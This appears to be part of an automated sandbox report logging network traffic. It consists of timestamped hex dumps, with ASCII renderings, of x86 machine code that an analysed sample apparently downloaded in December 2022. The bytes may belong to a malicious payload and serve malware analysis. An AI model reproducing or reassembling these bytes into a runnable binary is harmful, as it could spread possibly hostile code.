74 24 14 52 ff 56 08 83 c4 10 5e c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 83 78 d4 00 74 01 c3 8b 80 7c
                                                                                                                                                  Data Ascii: 1D$|t$t$t$t$t$PSWVt$FtPQF\$|$~tvLjFF|SWPQ^_[VL$D$T$zttQPR^|2QPt$RV^D$xt|
                                                                                                                                                  2022-12-04 11:05:57 UTC321INData Raw: 15 ac 33 50 00 89 c6 89 07 85 c0 0f 85 85 00 00 00 8b 44 24 10 85 c0 74 7d 8b 4c 24 50 c7 44 24 04 02 00 00 00 8d 54 24 1c 89 54 24 08 c7 04 24 00 00 00 00 c7 44 24 20 01 00 00 00 8b 11 89 54 24 1c 8b 49 04 89 4c 24 24 c7 44 24 2c 02 00 00 00 89 44 24 28 6a 00 6a 01 50 e8 12 83 fe ff 83 c4 0c 89 44 24 30 89 e0 6a 00 50 6a 00 53 ff 15 b0 33 50 00 89 c6 89 07 85 c0 75 1a 8b 44 24 54 8b 4c 24 28 89 08 8b 4c 24 30 89 48 04 8b 37 eb 05 be 06 00 00 00 8b 4c 24 34 31 e1 e8 b0 ce 04 00 89 f0 83 c4 38 5e 5f 5b c3 cc cc cc cc cc cc cc 57 56 83 ec 2c 8b 7c 24 3c a1 34 00 50 00 31 e0 89 44 24 28 85 ff 74 6a 8b 44 24 44 8b 4c 24 40 c7 07 00 00 00 00 c7 44 24 08 02 00 00 00 8d 54 24 10 89 54 24 0c c7 44 24 04 00 00 00 00 c7 44 24 14 01 00 00 00 8b 11 89 54 24 10 8b 49
                                                                                                                                                  Data Ascii: 3PD$t}L$PD$T$T$$D$ T$IL$$D$,D$(jjPD$0jPjS3PuD$TL$(L$0H7L$418^_[WV,|$<4P1D$(tjD$DL$@D$T$T$D$D$T$I
                                                                                                                                                  2022-12-04 11:05:57 UTC329INData Raw: e8 cf a7 05 00 83 c4 0c 8b 2e 83 7e 64 00 75 55 8b 46 68 8b 08 50 ff 51 18 83 c4 04 89 c7 85 c0 74 27 68 3c 13 4f 00 68 3c 13 4f 00 57 68 e9 04 4e 00 e8 ba 59 fe ff 83 c4 10 50 ff b5 a0 00 00 00 e8 ab 23 fd ff 83 c4 08 57 e8 72 64 fe ff 83 c4 04 8b 46 68 8b 08 50 ff 11 83 c4 04 e8 8f 9d ff ff 89 46 68 56 ff 73 38 e8 c3 8a fe ff 83 c4 08 8d 46 1c 50 e8 77 bb fe ff 83 c4 04 8d 46 30 50 e8 6b bb fe ff 90 90 90 90 90 90 90 90 90 90 90 83 c4 04 8b 46 58 85 c0 74 0e 8b 48 08 89 4e 58 50 e8 1a 64 fe ff eb e8 8b 46 68 85 c0 74 23 8b 0e 8d 56 6c 39 51 10 75 11 c7 41 0c 00 00 00 00 c7 41 10 00 00 00 00 8b 46 68 8b 08 50 ff 11 83 c4 04 56 e8 e8 63 fe ff 83 c4 04 53 68 30 2d 45 00 e8 8a 2a fd ff 83 c4 08 5e 5f 5b 5d c3 cc cc 56 8b 74 24 08 80 7e 31 00 74 02 5e c3 80
                                                                                                                                                  Data Ascii: .~duUFhPQt'h<Oh<OWhNYP#WrdFhPFhVs8FPwF0PkFXtHNXPdFht#Vl9QuAAFhPVcSh0-E*^_[]Vt$~1t^
                                                                                                                                                  2022-12-04 11:05:57 UTC336INData Raw: 78 a7 00 74 11 c6 40 a7 00 6a ff ff 70 34 e8 8e 18 fd ff 83 c4 08 c3 cc cc cc cc cc cc cc cc cc cc 53 57 56 8b 74 24 10 6a 00 ff 76 90 e8 1f 5e fe ff 83 c4 08 85 c0 74 38 8a 4c 24 14 80 f1 01 bf 01 00 00 00 0f b6 d9 90 90 90 90 90 90 90 90 90 8b 40 1c 8b 08 53 50 ff 51 14 83 c4 08 57 ff 76 90 e8 ea 5d fe ff 83 c4 08 83 c7 01 85 c0 75 e0 5e 5f 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 08 8b 4c 24 04 8a 44 01 a5 c3 cc cc cc 8a 44 24 0c 8b 4c 24 08 8b 54 24 04 88 44 0a a5 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 c6 40 c0 01 c3 cc cc cc cc cc cc cc 8b 44 24 04 8a 4c 24 08 88 48 a8 c6 40 d9 01 84 c9 74 0b ff 70 34 e8 35 19 fd ff 83 c4 04 c3 cc 8b 44 24 04 8a 40 a8 c3 cc cc cc cc cc cc cc cc 55 53 57 56 8b 7c 24 14 83 7f a0 00 74 56
                                                                                                                                                  Data Ascii: xt@jp4SWVt$jv^t8L$@SPQWv]u^_[D$L$DD$L$T$DD$@D$L$H@tp45D$@USWV|$tV
                                                                                                                                                  2022-12-04 11:05:57 UTC344INData Raw: 1b fe ff 83 c4 04 50 ff 73 20 e8 62 e5 fc ff 83 c4 08 8b 43 04 8b 00 6a 46 ff 50 0c 83 c4 04 83 c0 20 50 ff 73 0c e8 66 5a ff ff 83 c4 08 c7 83 a8 fe ff ff 6c 03 00 00 53 e8 b3 70 ff ff 83 c4 04 84 c0 0f 85 81 e5 ff ff 8b 85 60 01 00 00 6a 01 50 50 ff 50 18 83 c4 0c 85 c0 0f 84 69 e5 ff ff 89 c6 8b 00 83 f8 47 74 45 83 f8 0f 0f 85 f4 06 00 00 68 96 70 4e 00 e8 f4 1a fe ff 83 c4 04 50 ff 73 20 e8 e8 e4 fc ff 83 c4 08 68 8c 0e 4f 00 e8 db 1a fe ff 83 c4 04 50 53 e8 f1 67 ff ff 83 c4 08 c6 83 03 ff ff ff 01 e9 f0 f0 ff ff 89 f0 83 c0 18 50 e8 47 22 fe ff 83 c4 04 83 7e 24 00 0f 85 fc 06 00 00 89 d3 89 04 24 68 a9 59 4e 00 e8 9b 1a fe ff 83 c4 04 50 8b 7c 24 54 ff 77 20 e8 8b e4 fc ff 83 c4 08 8b 87 2c ff ff ff c6 00 01 8b 87 2c ff ff ff c6 40 01 01 68 95 25
                                                                                                                                                  Data Ascii: Ps bCjFP PsfZlSp`jPPPiGtEhpNPs hOPSgPG"~$$hYNP|$Tw ,,@h%
                                                                                                                                                  2022-12-04 11:05:57 UTC352INData Raw: 83 c4 04 ff 76 0c e8 46 0c ff ff 83 c4 04 ff 76 10 e8 3b 0c ff ff 83 c4 04 ff 76 24 e8 e0 06 fe ff 83 c4 04 ff b6 94 00 00 00 e8 d2 06 fe ff 83 c4 04 ff 76 18 e8 c7 06 fe ff 83 c4 04 ff 76 1c e8 bc 06 fe ff 83 c4 04 8b 86 88 00 00 00 85 c0 74 09 50 e8 99 68 fe ff 83 c4 04 ff b6 b4 00 00 00 e8 9b 06 fe ff 83 c4 04 ff b6 b0 00 00 00 e8 8d 06 fe ff 83 c4 04 8b 86 a0 00 00 00 85 c0 74 09 50 e8 6a 0c fe ff 83 c4 04 8b 86 a4 00 00 00 85 c0 74 09 50 e8 57 0c fe ff 83 c4 04 8b 86 a8 00 00 00 85 c0 74 09 50 e8 44 0c fe ff 83 c4 04 ff b6 80 00 00 00 e8 36 0c fe ff 83 c4 04 8b 86 28 01 00 00 85 c0 74 09 50 e8 93 13 fe ff 83 c4 04 8b 86 60 01 00 00 85 c0 74 09 50 e8 80 13 fe ff 83 c4 04 ff b6 30 01 00 00 e8 12 06 fe ff 83 c4 04 8b 86 34 01 00 00 85 c0 74 09 8b 08 50
                                                                                                                                                  Data Ascii: vFv;v$vvtPhtPjtPWtPD6(tP`tP04tP
                                                                                                                                                  2022-12-04 11:05:57 UTC360INData Raw: 00 0f 85 96 fd ff ff e9 64 fd ff ff c7 06 25 07 00 00 e9 f1 13 00 00 8b 86 dc 00 00 00 8b 8e e0 00 00 00 c1 e1 04 8b 44 08 04 8b 78 04 8b 58 08 8b 86 8c 01 00 00 8b 08 50 ff 51 64 83 c4 04 84 c0 74 22 53 e8 e8 a6 00 00 83 c4 04 57 50 68 e4 0a 4f 00 e8 99 dc fd ff 83 c4 0c 50 55 e8 af 29 ff ff 83 c4 08 8b 86 6c 01 00 00 8b 00 6a 32 ff 50 0c 83 c4 04 89 86 f8 00 00 00 83 c0 30 ff b6 90 00 00 00 50 e8 77 e0 fd ff 83 c4 08 8b 46 08 8b 8e f8 00 00 00 8b 00 83 c1 30 ff 70 18 51 e8 5d e0 fd ff 83 c4 08 8b 86 f8 00 00 00 83 c0 30 68 8a d9 4d 00 50 e8 46 e0 fd ff 83 c4 08 8b 86 f8 00 00 00 83 c0 30 6a 01 50 e8 d2 de fd ff 83 c4 08 8b 86 dc 00 00 00 8b 8e e0 00 00 00 c1 e1 04 8b 04 08 8b 96 f8 00 00 00 89 f1 ff 70 08 ff 70 04 ff b6 ec 00 00 00 ff b6 e8 00 00 00 e8
                                                                                                                                                  Data Ascii: d%DxXPQdt"SWPhOPU)lj2P0PwF0pQ]0hMPF0jPpp
                                                                                                                                                  2022-12-04 11:05:57 UTC368INData Raw: ff 72 10 e8 39 c5 fd ff 83 c4 04 89 44 24 0c 89 54 24 14 ff 75 10 e8 26 c5 fd ff 83 c4 04 89 c7 89 54 24 04 ff 75 10 e8 15 c5 fd ff 83 c4 04 8d 86 68 01 00 00 50 e8 d6 0a ff ff 83 c4 04 89 86 88 00 00 00 c6 00 01 8b 86 88 00 00 00 c6 40 01 01 89 6c 24 20 ff 75 10 e8 54 c4 fd ff 83 c4 04 89 86 8c 00 00 00 85 c0 89 7c 24 10 0f 84 15 01 00 00 b8 4d 2c 4e 00 b9 cf 16 4e 00 84 db 0f 45 c8 89 4c 24 18 31 ff 89 74 24 08 eb 55 90 90 90 90 8d 48 0c ff 74 24 18 68 bd 08 4f 00 51 89 c6 e8 bc c2 fd ff 89 f0 83 c4 0c 8b 74 24 08 0f b6 5c 24 38 50 e8 e8 cd fd ff 83 c4 04 0f b6 4c 24 03 51 50 ff b6 88 00 00 00 e8 d3 28 fe ff 83 c4 0c 83 c7 01 8b 86 8c 00 00 00 39 c7 0f 83 a7 00 00 00 c6 86 fc 00 00 00 00 8b 5c 24 20 ff 73 10 e8 4c c4 fd ff 83 c4 04 89 c6 89 d5 ff 73 10
                                                                                                                                                  Data Ascii: r9D$T$u&T$uhP@l$ uT|$M,NNEL$1t$UHt$hOQt$\$8PL$QP(9\$ sLs
                                                                                                                                                  2022-12-04 11:05:57 UTC376INData Raw: 04 00 00 00 00 55 57 e8 b5 54 fd ff 83 c4 08 84 c0 0f 84 bc 0a 00 00 c7 44 24 04 00 00 00 00 eb 28 55 e8 7a 22 00 00 83 c4 04 89 f5 6a 00 56 e8 9d ad fd ff 83 c4 08 56 57 e8 83 54 fd ff 83 c4 08 84 c0 0f 84 8a 0a 00 00 89 ee ff 75 00 e8 3e 58 fd ff 83 c4 04 85 c0 74 d0 89 c5 83 78 04 00 74 bf ff 74 24 14 ff 74 24 20 ff 75 08 e8 ff 23 00 00 83 c4 0c 84 c0 74 a8 55 ff 74 24 54 e8 6e ba fd ff 83 c4 08 b0 01 89 44 24 04 eb 9c 8b 74 24 48 85 f6 75 17 68 41 03 00 00 68 36 59 4f 00 68 fa 15 4f 00 e8 aa eb 04 00 83 c4 0c 8b 56 60 8b 04 24 8d 88 84 02 00 00 e8 d3 1e 00 00 89 70 08 c6 40 10 00 80 7c 24 26 00 74 1a 8b 04 24 8d 88 84 02 00 00 ba 4d 34 4e 00 e8 b2 1e 00 00 c7 40 08 00 00 00 00 83 7c 24 08 00 0f 8e de 00 00 00 8b 04 24 8d b8 90 02 00 00 31 c9 31 d2 eb
                                                                                                                                                  Data Ascii: UWTD$(Uz"jVVWTu>Xtxtt$t$ u#tUt$TnD$t$HuhAh6YOhOV`$p@|$&t$M4N@|$$11
                                                                                                                                                  2022-12-04 11:05:57 UTC383INData Raw: 39 e9 0f 42 d8 8b 86 28 01 00 00 83 e0 05 83 f8 01 75 1a 39 e9 0f 42 e9 6b c5 c4 03 86 38 01 00 00 8d 8b f0 d8 ff ff 83 f8 0a 0f 42 d9 56 68 e0 07 46 00 53 e8 08 52 fc ff 83 c4 0c 89 86 10 01 00 00 31 c9 89 c8 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 53 57 56 50 89 d6 89 cf 52 e8 71 0b 05 00 83 c4 04 89 04 24 83 7f 04 00 74 2d 31 ed 31 db 90 8b 07 ff 34 24 56 ff 74 28 04 ff 34 28 e8 3e 8b fd ff 83 c4 10 84 c0 75 43 83 c3 01 8b 47 04 83 c5 14 39 c3 72 da eb 02 31 c0 8d 4f 08 6a 00 6a 01 50 6a 14 51 ff 37 e8 64 89 fd ff 83 c4 18 89 07 8b 4f 04 8d 51 01 89 57 04 8d 0c 89 8d 2c 88 89 34 88 8b 14 24 89 54 88 04 eb 02 03 2f 89 e8 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc 57 56 8b 74 24 0c 80 be 0c 01 00 00 00 0f 85 9f 00 00 00 8b 7c 24 10 39 be 10 01 00 00 0f
                                                                                                                                                  Data Ascii: 9B(u9Bk8BVhFSR1^_[]USWVPRq$t-114$Vt(4(>uCG9r1OjjPjQ7dOQW,4$T/^_[]WVt$|$9
                                                                                                                                                  2022-12-04 11:05:57 UTC391INData Raw: 89 84 24 00 01 00 00 e8 e5 6f fd ff 89 44 24 14 89 44 24 28 8b 4e 10 31 ff 31 db be b5 53 4e 00 90 51 e8 2a 66 fd ff 83 c4 04 3c 0a 0f 84 78 03 00 00 3c 0d 0f 84 70 03 00 00 8b 8c 24 18 01 00 00 8b 49 10 83 79 0c 00 0f 85 5c 03 00 00 3c 3a 74 15 83 fb 27 0f 84 4f 03 00 00 88 84 1c d8 00 00 00 83 c3 01 eb ba 51 e8 e4 65 fd ff 83 c4 04 3c 20 0f 85 32 03 00 00 c6 84 1c d8 00 00 00 00 8d b4 24 d8 00 00 00 6a 16 68 10 c6 4e 00 56 e8 da c6 03 00 83 c4 0c 31 ff 85 c0 74 4e 6a 16 68 59 c8 4e 00 56 e8 c4 c6 03 00 83 c4 0c 85 c0 74 53 6a 16 68 09 cd 4e 00 56 e8 b0 c6 03 00 83 c4 0c 85 c0 74 5a 6a 14 68 91 e3 4e 00 56 e8 9c c6 03 00 83 c4 0c 85 c0 b8 17 e0 4d 00 be f5 da 4d 00 0f 44 f0 31 ff e9 bf 02 00 00 c7 44 24 04 03 00 00 00 c7 44 24 10 00 81 4d 00 b0 01 89 04
                                                                                                                                                  Data Ascii: $oD$D$(N11SNQ*f<x<p$Iy\<:t'OQe< 2$jhNV1tNjhYNVtSjhNVtZjhNVMMD1D$D$M
                                                                                                                                                  2022-12-04 11:05:57 UTC399INData Raw: 02 85 f6 74 0b 56 e8 46 cd 04 00 83 c4 04 eb 02 31 c0 89 74 24 08 83 cd 03 01 dd 01 c5 6a 00 6a 01 55 e8 ca 4a fd ff 83 c4 0c 89 c6 53 e8 bf 0a 00 00 83 c4 04 57 50 68 0f 07 4f 00 56 e8 3f ca f9 ff 83 c4 10 89 c5 89 74 24 04 01 f5 83 7c 24 38 00 7e 37 31 db 8b 3c 24 90 90 90 90 90 90 90 90 8b 74 24 38 29 de 83 fe 03 b8 03 00 00 00 0f 4d f0 8d 04 1f 55 56 50 e8 84 3b 00 00 83 c4 0c 01 f3 83 c5 04 3b 5c 24 38 7c d6 8b 44 24 08 85 c0 74 13 c6 45 00 20 83 c5 01 50 55 e8 60 c6 04 00 83 c4 08 eb 04 c6 45 00 00 8b 4c 24 20 31 e1 e8 1c 96 03 00 8b 44 24 04 83 c4 24 5e 5f 5b 5d c3 55 53 57 56 83 ec 50 8b 74 24 68 8b 7c 24 64 a1 34 00 50 00 31 e0 89 44 24 4c e8 d1 4f fd ff 89 c5 89 7c 24 04 89 7c 24 18 89 74 24 20 c7 44 24 1c 00 00 00 00 c7 44 24 24 00 00 00 00 8d
                                                                                                                                                  Data Ascii: tVF1t$jjUJSWPhOV?t$|$8~71<$t$8)MUVP;;\$8|D$tE PU`EL$ 1D$$^_[]USWVPt$h|$d4P1D$LO|$|$t$ D$D$$
                                                                                                                                                  2022-12-04 11:05:57 UTC407INData Raw: e8 0c ae 04 00 83 c4 04 89 f1 89 f2 83 f8 2f 0f 85 94 02 00 00 68 e0 bb 4e 00 57 e8 31 b0 04 00 83 c4 08 80 3c 07 00 89 f1 89 f2 0f 85 78 02 00 00 0f be 07 89 f1 89 f2 83 f8 3a 0f 84 68 02 00 00 80 7f 01 3a 89 f1 89 f2 0f 84 5a 02 00 00 80 7f 03 3a 89 f1 89 f2 0f 84 4c 02 00 00 80 7f 04 3a 89 f1 89 f2 0f 84 3e 02 00 00 80 7f 06 3a 89 f1 89 f2 0f 84 30 02 00 00 80 7f 07 3a 89 f1 89 f2 0f 84 22 02 00 00 80 7f 09 3a 89 f1 89 f2 0f 84 14 02 00 00 80 7f 0a 3a 89 f1 89 f2 0f 84 06 02 00 00 80 7f 0c 3a 89 f1 89 f2 0f 84 f8 01 00 00 80 7f 0d 3a 89 f1 89 f2 0f 84 ea 01 00 00 80 7f 0f 3a 89 f1 89 f2 0f 84 dc 01 00 00 80 7f 10 3a 89 f1 89 f2 0f 84 ce 01 00 00 80 7f 12 3a 89 f1 89 f2 0f 84 c0 01 00 00 80 7f 13 3a 89 f1 89 f2 0f 84 b2 01 00 00 80 7f 15 3a 89 f1 89 f2
                                                                                                                                                  Data Ascii: /hNW1<x:h:Z:L:>:0:":::::::::
                                                                                                                                                  2022-12-04 11:05:57 UTC415INData Raw: 00 56 ff 77 fc e8 37 04 fd ff 83 c4 0c 89 6c 24 04 89 1c 24 89 e6 6a 08 56 ff 77 fc e8 10 04 fd ff 83 c4 0c 6a 08 56 e8 d5 d3 ff ff 83 c4 08 83 7f e4 00 74 14 6a 61 68 ae 57 4f 00 68 34 80 4f 00 e8 ce 4f 04 00 83 c4 0c 8b 47 94 8b 4c 24 24 89 01 8b 47 98 89 41 04 8b 47 9c 89 41 08 8b 47 a0 89 41 0c 8b 4c 24 08 31 e1 e8 e2 57 03 00 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 83 c6 94 6a 78 56 e8 70 d3 ff ff 83 c4 08 56 e8 67 0c fd ff 83 c4 04 5e c3 cc cc 55 53 57 56 83 ec 68 8b 94 24 84 00 00 00 a1 34 00 50 00 31 e0 89 44 24 64 85 d2 0f 84 a1 03 00 00 8b bc 24 80 00 00 00 8b 5c 24 7c 8d 6b b0 89 6c 24 04 eb 15 90 90 90 90 90 90 90 90 90 90 90 01 f7 85 d2 0f 84 78 03 00 00 89 14 24 8b 45 40 be 40 00 00 00 29 c6 39 f2 0f 42 f2 01 e8
                                                                                                                                                  Data Ascii: Vw7l$$jVwjVtjahWOh4OOGL$$GAGAGAL$1W^_[]Vt$jxVpVg^USWVh$4P1D$d$\$|kl$x$E@@)9B
                                                                                                                                                  2022-12-04 11:05:57 UTC422INData Raw: 00 00 00 83 c0 08 89 46 04 6a 08 50 e8 b0 b4 ff ff 83 c4 08 83 3e 00 74 1f 31 c0 90 90 90 90 90 90 8b 4e 04 c7 04 81 00 00 00 00 83 c0 01 3b 06 72 ef eb 04 8b 74 24 08 89 f0 83 c4 18 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 14 8b 74 24 28 ff 76 10 e8 1d ea fc ff 83 c4 04 89 c7 8b 46 10 83 78 0c 00 74 4a 6a 08 6a 08 6a 01 e8 b4 ec fc ff 83 c4 0c 89 c6 c7 00 02 00 00 00 83 c0 08 89 46 04 6a 08 50 e8 2b b4 ff ff 83 c4 08 83 3e 00 74 14 31 c0 90 8b 4e 04 c7 04 81 00 00 00 00 83 c0 01 3b 06 72 ef 89 f0 83 c4 14 5e 5f 5b 5d c3 85 d2 74 0f 80 3f 00 0f 88 f8 00 00 00 0f 84 e3 00 00 00 8d 42 03 c1 e8 02 bd 01 00 00 00 0f 45 e8 8d 1c ad 00 00 00 00 53 6a 08 6a 01 89 54 24 0c e8 3f ec fc ff 83 c4 0c 89 c6 89 28 83 c0 08 89 46 04
                                                                                                                                                  Data Ascii: FjP>t1N;rt$^_[]USWVt$(vFxtJjjjFjP+>t1N;r^_[]t?BESjjT$?(F
                                                                                                                                                  2022-12-04 11:05:57 UTC430INData Raw: ff 76 04 e8 79 95 ff ff 83 c4 08 6a 08 56 e8 6e 95 ff ff 83 c4 08 56 e8 65 ce fc ff 83 c4 04 89 f8 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc 57 56 8b 74 24 0c 8b 3e 8b 07 c1 e0 02 50 ff 77 04 e8 3a 95 ff ff 83 c4 08 6a 08 57 e8 2f 95 ff ff 83 c4 08 57 e8 26 ce fc ff 83 c4 04 8b 7e 14 8b 07 c1 e0 02 50 ff 77 04 e8 12 95 ff ff 83 c4 08 6a 08 57 e8 07 95 ff ff 83 c4 08 57 e8 fe cd fc ff 83 c4 04 8b 7e 18 8b 07 c1 e0 02 50 ff 77 04 e8 ea 94 ff ff 83 c4 08 6a 08 57 e8 df 94 ff ff 83 c4 08 57 e8 d6 cd fc ff 83 c4 04 8b 7e 1c 8b 07 c1 e0 02 50 ff 77 04 e8 c2 94 ff ff 83 c4 08 6a 08 57 e8 b7 94 ff ff 83 c4 08 57 e8 ae cd fc ff 83 c4 04 8b 7e 10 8b 07 c1 e0 02 50 ff 77 04 e8 9a 94 ff ff 83 c4 08 6a 08 57 e8 8f 94 ff ff 83 c4 08 57 e8 86 cd fc ff 83 c4 04 8b
                                                                                                                                                  Data Ascii: vyjVnVe^_[]WVt$>Pw:jW/W&~PwjWW~PwjWW~PwjWW~PwjWW
                                                                                                                                                  2022-12-04 11:05:57 UTC438INData Raw: 24 04 31 ef 89 54 24 08 21 d0 21 f7 21 ee 8b 51 04 bd 00 00 00 00 39 5c 24 10 76 85 8b 2c 9a eb 80 8b 54 24 10 85 d2 8b 4c 24 28 0f 84 97 00 00 00 83 44 24 18 02 c7 04 24 00 00 00 00 31 c0 31 db eb 33 90 90 90 90 90 90 90 90 90 90 90 90 90 90 31 6c 24 14 31 c1 31 c0 03 74 24 04 0f 92 c0 01 d6 83 d0 00 89 34 9f 83 c3 01 8b 6c 24 24 8b 55 00 39 d3 73 52 89 54 24 10 89 44 24 04 8b 3c 24 89 da 33 54 24 18 89 d6 d1 ee 83 e2 01 31 c0 09 f2 0f 94 c0 09 f8 89 04 24 89 c6 f7 de b8 00 00 00 00 19 c0 89 ef 89 cd 8b 54 24 14 31 d5 21 c8 21 f5 21 d6 8b 7f 04 ba 00 00 00 00 39 5c 24 10 76 8e 8b 14 9f eb 89 8b 74 24 2c 56 6a 08 6a 01 e8 db ad fc ff 83 c4 0c 83 7c 24 3c 00 89 44 24 10 75 18 6a 48 68 24 32 4f 00 68 c0 15 4f 00 e8 5f f1 03 00 8b 44 24 1c 83 c4 0c 8b 4c 24
                                                                                                                                                  Data Ascii: $1T$!!!Q9\$v,T$L$(D$$1131l$11t$4l$$U9sRT$D$<$3T$1$T$1!!!9\$vt$,Vjj|$<D$ujHh$2OhO_D$L$
                                                                                                                                                  2022-12-04 11:05:57 UTC446INData Raw: 04 89 c6 89 e0 8d 4c 24 10 50 51 6a 00 6a 00 68 20 00 00 08 6a 01 6a 00 6a 00 56 6a 00 ff 15 58 d7 4f 00 56 e8 d8 8f fc ff 83 c4 04 8b 35 30 d7 4f 00 ff 34 24 ff d6 ff 74 24 04 ff d6 ff 74 24 70 ff d6 ff 74 24 68 ff d6 8b 44 24 60 85 c0 74 07 50 ff 15 30 d7 4f 00 6a 00 ff 74 24 68 ff 74 24 74 ff b4 24 80 00 00 00 57 e8 e2 f6 01 00 83 c4 14 31 f6 eb 4f 8b 35 30 d7 4f 00 ff 74 24 6c ff d6 ff 74 24 68 eb 1c 8b 35 30 d7 4f 00 ff 74 24 6c ff d6 ff 74 24 68 ff d6 ff 74 24 74 ff d6 ff 74 24 70 ff d6 ff 15 e8 d7 4f 00 50 e8 df ca fc ff 83 c4 04 50 68 9d 10 4e 00 e8 71 84 fc ff 83 c4 08 89 c6 8b 4c 24 78 31 e1 e8 81 da 02 00 89 f0 83 c4 7c 5e 5f c3 cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 74 24 34 6a 0d 56 e8 a0 72 fc ff 83 c4 08 31 ff 83 f8 05 75 36 8b 6c 24 30
                                                                                                                                                  Data Ascii: L$PQjjh jjjVjXOV50O4$t$t$pt$hD$`tP0Ojt$ht$t$W1O50Ot$lt$h50Ot$lt$ht$tt$pOPPhNqL$x1|^_USWVt$4jVr1u6l$0
                                                                                                                                                  2022-12-04 11:05:57 UTC454INData Raw: 47 24 c7 47 b0 00 00 00 00 8b 8c 24 34 02 00 00 31 e1 e8 fa bb 02 00 81 c4 38 02 00 00 5e 5f 5b 5d c3 8b 40 18 ff 30 e8 35 c7 fc ff eb 8e 80 78 04 00 0f 85 06 f2 ff ff 83 7f 1c 00 74 48 ff 77 04 e8 0b c2 fd ff 83 c4 04 89 47 e8 c6 00 01 8b 47 e8 c6 40 01 00 68 12 24 4e 00 e8 01 c7 fc ff 83 c4 04 8b 4f e8 89 41 04 8b 47 c8 83 78 08 00 74 1e c7 45 3c ff ff ff ff eb 39 51 68 b0 44 4e 00 e9 71 ff ff ff 68 cf 49 4e 00 e9 27 ff ff ff 8b 45 38 8b 40 14 89 45 3c 68 02 08 4f 00 e8 be c6 fc ff 83 c4 04 6a 01 50 ff 75 38 e8 30 d1 fc ff 83 c4 0c 8b 45 38 8b 40 14 89 45 40 68 25 08 4f 00 e8 9a c6 fc ff 83 c4 04 6a 00 50 ff 75 38 e8 0c d1 fc ff 83 c4 0c e9 03 ef ff ff cc cc cc cc 53 57 56 8b 7c 24 10 8d 77 b0 ff 77 b4 e8 be 75 fc ff 83 c4 04 ff 77 b8 e8 b3 75 fc ff 83
                                                                                                                                                  Data Ascii: G$G$418^_[]@05xtHwGG@h$NOAGxtE<9QhDNqhIN'E8@E<hOjPu80E8@E@h%OjPu8SWV|$wwuwu
                                                                                                                                                  2022-12-04 11:05:57 UTC461INData Raw: e4 83 c8 01 6a 00 6a 01 50 e8 e3 50 fc ff 83 c4 0c 89 45 cc 6a 00 6a 01 ff 75 e4 e8 d1 50 fc ff 83 c4 0c 89 45 d0 31 c0 85 ff 74 67 90 90 90 90 90 8b 45 d4 8b 4d dc 83 c1 0c 39 c8 7d 3f 8d 4e 01 8d 50 01 0f b6 1e 8b 75 cc 89 55 d4 88 5c 30 f4 89 ce 83 c7 ff 75 d9 89 ce 31 ff eb 31 90 90 90 8d 4e 01 8d 58 01 29 d0 0f b6 16 8b 75 d0 89 5d d4 88 54 30 f4 89 ce 83 c7 ff 74 db 8b 45 d4 8b 55 dc 8b 4d e4 01 d1 83 c1 0c 39 c8 7c d2 31 c0 eb 02 31 ff 8b 55 dc 8b 4d e4 01 d1 83 c1 0c 39 4d d4 0f 8c b0 02 00 00 80 7d e8 00 74 13 8b 45 f8 8b 08 57 56 50 ff 51 08 83 c4 0c e9 97 02 00 00 8b 44 24 0c 80 38 42 75 15 0f b7 45 ba c1 e0 10 0f c8 89 44 24 14 8d 45 bc 8d 4d bd eb 0e 0f b7 45 ba 89 44 24 14 8d 4d bc 8d 45 bd 0f b6 09 89 4c 24 20 0f b6 18 83 7d f8 00 74 17 68
                                                                                                                                                  Data Ascii: jjPPEjjuPE1tgEM9}?NPuU\0u11NX)u]T0tEUM9|11UM9M}tEWVPQD$8BuED$EMED$MEL$ }th
                                                                                                                                                  2022-12-04 11:05:57 UTC469INData Raw: 08 89 46 1c c7 46 18 00 00 00 00 c7 46 20 00 00 00 00 c7 46 24 00 00 00 00 c7 46 28 00 00 00 00 53 56 e8 6a ae 01 00 83 c4 08 eb 76 b8 70 17 00 00 03 46 08 89 46 18 89 f1 83 c1 1c 6a 00 6a 00 6a 00 53 51 50 ff 76 04 e8 14 80 fd ff 83 c4 1c 89 46 14 50 e8 98 0d fc ff 83 c4 04 85 c0 74 49 ff 76 04 68 c3 51 4e 00 e8 04 27 fc ff 83 c4 08 8b 4c 24 1c 89 01 ff 76 14 e8 e3 fc fb ff 83 c4 04 ff 76 04 e8 b8 31 fc ff 83 c4 04 ff 76 10 e8 ad 31 fc ff 83 c4 04 56 e8 a4 31 fc ff 83 c4 04 31 f6 89 f0 5e 5f 5b 5d c3 80 3e 00 0f 85 16 ff ff ff ff 76 14 e8 47 f8 fb ff 83 c4 04 84 c0 74 66 ff 76 08 6a 00 e8 06 0e fc ff 83 c4 08 89 c7 50 e8 1b 0d fc ff 83 c4 04 85 c0 75 41 8b 1d 9c 4b 4d 00 57 e8 b8 fc fb ff 83 c4 04 53 6a 00 6a 00 6a 00 6a 00 6a 00 50 e8 b4 fc fb ff 83 c4
                                                                                                                                                  Data Ascii: FFF F$F(SVjvpFFjjjSQPvFPtIvhQN'L$vv1v1V11^_[]>vGtfvjPuAKMWSjjjjjP
